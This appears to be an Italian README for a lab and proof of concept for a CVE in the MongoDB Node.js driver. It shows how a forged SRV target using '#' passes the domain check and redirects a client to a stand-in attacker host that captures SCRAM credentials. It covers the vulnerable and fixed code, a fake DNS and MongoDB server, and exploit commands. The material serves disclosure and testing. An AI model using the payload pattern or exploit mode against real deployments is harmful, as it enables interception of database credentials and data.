Lab differenziale containerizzato e PoC per CVE-2026-126837, che dimostra la redirezione del target SRV nel driver MongoDB Node.js e la cattura delle credenziali SCRAM sulla versione 7.7.0 rispetto alla 7.8.0.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-126837 |
| Componente | Driver Node.js di MongoDB (mongodb, mongodb/node-mongodb-native) — Initial DNS Seedlist Discovery |
| Affected | 3.3.3 .. < 7.8.0 (semver) |
| Corretto in | 7.8.0 (commit 19e2d3b83, NODE-7830) |
| CWE | CWE-180 — Validate Before Canonicalize |
| CVSS | 4.0 — 9.1 CRITICAL (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N); 3.1 — 7.4 HIGH |
| Impatto | Reindirizzamento del traffico del database verso un host dell'attaccante: intercettazione delle credenziali (client proof SCRAM decifrabile offline), divulgazione non intenzionale dei dati dell'applicazione, alterazione dei risultati delle query |
| Vettore | Risposta DNS SRV falsificata o influenzata dall'attaccante per una stringa di connessione mongodb+srv:// |
| Trigger | Nome del target SRV contenente #, ? o / prima del suffisso del dominio padre |
| Credito | Avviso del fornitore (nessun segnalatore nominato nel record CVE) |
Un difetto di validazione nella protezione del dominio padre SRV del driver consente a una parte che può falsificare o modificare
la risposta DNS SRV di reindirizzare un client mongodb+srv:// verso qualsiasi host di propria scelta. La protezione
confronta il target SRV con il dominio padre tramite un semplice endsWith su una stringa la cui
sintassi non è mai stata validata; il driver poi ri-analizza la stessa stringa come URL, dove #, ?
e / terminano anticipatamente il nome dell'host. La connessione viene stabilita verso l'host dell'attaccante con
TLS attivato contro la vittima: il certificato viene validato rispetto al nome reindirizzato, che
l'attaccante possiede legittimamente. Il client invia quindi il proprio scambio di autenticazione SCRAM —
incluso un client proof derivato dalla password — all'attaccante. Le applicazioni che utilizzano URI
mongodb:// semplici non sono interessate.
La protezione vulnerabile, src/utils.ts:1158 nella v7.7.0:
export function checkParentDomainMatch(address: string, srvHost: string): void {
// Remove trailing dot if exists on either the resolved address or the srv hostname
const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;
const allCharacterBeforeFirstDot = /^.*?\./;
// Remove all characters before first dot
const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
...
if (!addressDomain.endsWith(srvHostDomain)) {
throw new MongoAPIError('Server record does not share hostname with parent URI');
}
}
Il guard rimuove un punto finale, elimina tutto fino al primo . e chiama
endsWith. Non esegue alcuna validazione sintattica del target SRV. La stringa validata
fluisce poi a HostAddress.fromString() e viene ri-analizzata nel costruttore di HostAddress
(src/utils.ts:890):
const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;
L'aritmetica che si rompe, per l'host SRV cluster0.lab.mongodb.test (parent
.lab.mongodb.test) e il target falsificato evil.attacker.test#.lab.mongodb.test:
guard: "evil.attacker.test#.lab.mongodb.test"
remove everything before first dot -> tail ".lab.mongodb.test" retained
-> endsWith(".lab.mongodb.test") = TRUE -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
"#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
-> driver connects to evil.attacker.test
Il # non blocca mai il confronto del suffisso perché la guardia confronta la coda della stringa grezza
(il cui # si trova prima del suffisso), mentre il parser URL WHATWG tratta lo stesso # come
delimitatore di frammento e tronca il nome host.
La correzione nella 7.8.0, src/utils.ts:1185-1216, esegue la canonicalizzazione prima della validazione:
const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;
export function dnsNameToASCII(name: string): string | null {
if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
return null;
}
const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
return ascii === '' ? null : ascii;
}
export function normalizeDnsName(name: string): string {
const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
const normalized = dnsNameToASCII(withoutTrailingDot);
if (normalized == null) {
throw new MongoAPIError('Invalid DNS host name');
}
return normalized;
}
Applicato nell'unico punto di chiamata SRV, src/connection_string.ts:128-130:
const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);
Qualsiasi #, ?, / o altro code point proibito da WHATWG ora genera MongoAPIError: Invalid DNS host name prima della guardia, prima di HostAddress.fromString e prima che venga aperto qualsiasi socket.
Una singola immagine container (cve-2026-126837:vuln) contiene l'intero differenziale:
lab/src/dnsd.py) su 127.0.0.1:53 — il file
/etc/resolv.conf del container punta ad esso, quindi ogni risoluzione di nome (inclusa la
ricerca SRV c-ares di Node) passa attraverso un DNS controllato dall'attaccante. Risponde alla query SRV
_mongodb._tcp.cluster0.lab.mongodb.test con il target scelto dall'attaccante e risolve
evil.attacker.test in 127.0.0.1;lab/src/evilserver.py) su 127.0.0.1:27017 — endpoint TLS con un
certificato emesso dalla CA del lab (sostituto del certificato pubblicamente attendibile che un attaccante
possiede per il proprio dominio), che parla abbastanza del protocollo wire MongoDB (OP_QUERY ismaster,
OP_MSG hello/saslStart/saslContinue) da completare l'handshake SDAM e catturare lo
scambio SCRAM-SHA-256;lab/src/service.js) — esegue ogni tentativo di connessione con un processo figlio
della build del driver selezionata (così un errore a livello di driver viene osservato anziché
mandare giù il servizio) ed espone via HTTP le osservazioni dell'attaccante e del server DNS;vuln = [email protected], fixed =
[email protected], più v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4 per la
matrice dell'intervallo interessato.I lati vulnerabile e corretto differiscono solo nella versione del pacchetto driver: stessa immagine base, stesso server DNS, stesso listener dell'attaccante, stesso servizio, stesso tentativo di connessione.
./run-lab.sh build # build lab + poc images
./run-lab.sh up # create network cve126837lab, start lab, wait for health
./run-lab.sh all # build, up, every PoC mode, capture evidence/, down-state logs
Modalità individuali:
./run-lab.sh poc check --driver vuln # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed # exit 0 = safe
./run-lab.sh poc exploit --driver vuln # full SCRAM credential capture
./run-lab.sh poc probe # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions # 3.x .. 7.x affected-range matrix
./run-lab.sh state # copy DNS/attacker logs into evidence/